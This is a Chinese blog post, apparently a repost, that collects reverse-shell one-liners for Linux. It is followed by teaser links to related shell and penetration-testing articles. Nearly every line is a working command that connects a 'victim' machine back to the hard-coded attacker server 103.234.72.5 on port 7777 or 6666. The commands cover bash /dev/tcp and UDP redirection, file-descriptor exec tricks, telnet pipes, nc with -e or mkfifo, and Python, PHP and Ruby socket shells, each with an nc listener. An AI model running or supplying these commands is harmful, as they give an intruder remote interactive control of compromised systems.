linux反弹shell的各种姿势

准备工作

  • 外网服务器103.234.72.5

  • 本地Kali一台,优班图一台

Bash反弹

注意之前使用nc监听端口反弹shell时都会有一个警告:Warning: forward host lookup failed for bogon: Unknown host,根据nc帮助文档的提示加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析。

方法一

监听的vps使用命令:

nc -nlvp 7777

被控机器使用命令:

命令1:bash -i >& /dev/tcp/103.234.72.5/7777 0>&1命令2:bash -c 'exec bash -i &>/dev/tcp/103.234.72.5/7777 <&1'

#bash ‐i 打开一个交互的bash

# >& 将标准错误输出重定向到标准输出

#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为 要反弹到的主机ip,port为端口

# 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

Kali外网攻击机

内网受害者

方法二

在使用这个进行shell反弹时,不能使用python获取一个标准的shell,需要使用 nc再次反弹之后,使用python获取标准化输出。

监听的vps使用命令:

nc -nlvp 7777

被控机器使用命令:

exec 5<>/dev/tcp/103.234.72.5/7777;cat <&5 | while read line; do $line 2>&5 >&5; done

方法三

命令一:

exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196

命令二:

/bin/bash -i > /dev/tcp/103.234.72.5/6666 0<&1 2>&1

方法四

0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196

bash UDP 反弹

nc -u -nlvp 7777sh -i >& /dev/udp/103.234.72.5/7777 0>&1

telnet反弹

方法一

nc -nlvp 6666nc -nlvp 7777telnet 103.234.72.5 6666 | /bin/bash | telnet 103.234.72.5 77776666输入命令7777输出结果

方法二

mknod a p; telnet 103.234.72.5 7777 0<a | /bin/bash 1>a(不好用)

nc反弹

nc ‐e /bin/bash 103.234.72.5 7777

如果目标主机linux发行版本没有 -e 参数,还有以下方式:

方法一

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 103.234.72.5 7777 >/tmp/f

exec 反弹

0<&196;exec 196<>/dev/tcp/103.234.72.5/7777; sh <&196 >&196 2>&196

python反弹

export RHOST='103.234.72.5';export RPORT=7777;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/sh')'

PHP反弹

php -r '$sock=fsockopen('103.234.72.5',7777);exec('/bin/sh -i <&3 >&3 2>&3');'

ruby 反弹

ruby -rsocket -e 'exit if fork;c=TCPSocket.new('103.234.72.5','7777');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end'

我这里写了一些常用的,当其他的用的时候在去深入研究

原文地址:https://www.cnblogs.com/sunny11/p/14290092.html

(0)

相关推荐

  • 反弹shell的N种姿势

    0x00 前言 在渗透测试的过程中,在拿到webshell以后,如果目标主机是Windows主机,则是通过开3389端口在远程连接,如果目标主机是linux服务器,一般我们都会选择反弹shell来进行 ...

  • 查看、已安装、切换的shell命令

    查看当前shell命令echo $SHELL 查看已安装的shell命令cat /etc/shells 切换zsh命令chsh -s /bin/zsh 切换bash命令chsh -s /bin/bas ...

  • Linux系统Shell脚本如何运行?linux操作系统

    Shell脚本语言很适合用于处理纯文本类型的数据,而Linux系统中几乎所有的配置文件.日志文件以及绝大多数的启动文件都是纯文本类型的文件.因此,学好Shell脚本语言,能够更好的操作Linux系统. ...

  • linux和shell思维导图的分享

    这两天朋友圈被刷屏了,原因大家都知道. 同时,数据分析聊天群也是被刷屏了,因为长城的问题. 不过,有一个有意思的思维导图也刷了一下我的屏. 大概是下面这样的: 实在是太复杂了,我这种没头脑的人,学不来 ...

  • Linux系统shell环境下的通配符远比我想的复杂

    最近共享了一些服务器,主要是唐医生的功劳,已经成功运行3台: 共享云服务器又来了(这次足足有50个名额) 共享云服务器又来了(这次足足有65个名额) 其中一台服务器里面有一个用户,提出来了一个无理要求 ...

  • Linux:常用shell命令

    常看当前目录列表 ls 删除目录或文件 rm 文件路径 rm -rf 文件路径 (不提示你是否确认删除,不推荐使用) 复制目录或文件 cp 文件路径 目标文件路径 移动目录或文件 mv 文件路径 目标 ...

  • 记一次突破反弹shell

    这是 酒仙桥六号部队 的第 106 篇文章. 全文共计1809个字,预计阅读时长6分钟. 背景 某天闲着无聊,小伙伴发来一个某网站,说只能执行命令,不能反弹shell. 测试 对着目标站点一顿测试. ...

  • Shell变量有哪些分类?linux运维学习

    shell变量有哪些分类?Shell变量是shell编程学习中重要的内容,每个运维人员都需要掌握.在shell编程中的变量名和等号之间不能有空格.系统中的变量根据作用域及生命周期,可以有哪些分类? s ...

  • shell环境变量有哪些知识?linux运维知识点

    环境变量一般是指用export内置命令导出的变量,用于定义Shell的运行环境,保证Shell命令的正确执行.Shell通过环境变量来确定登录用户名.命令路径.终端类型.登录目录等.Linux运维技能 ...

  • Shell变量类型有哪些?linux运维shell知识

    变量是暂时存储数据的地方及数据标记,所存储的数据存在于内存空间中,通过正确地调用内存空间中变量的名字就可以取出与变量对应的数据.使用变量的好处就是使程序开发更为方便.当然,在编程中使用变量也是必须的, ...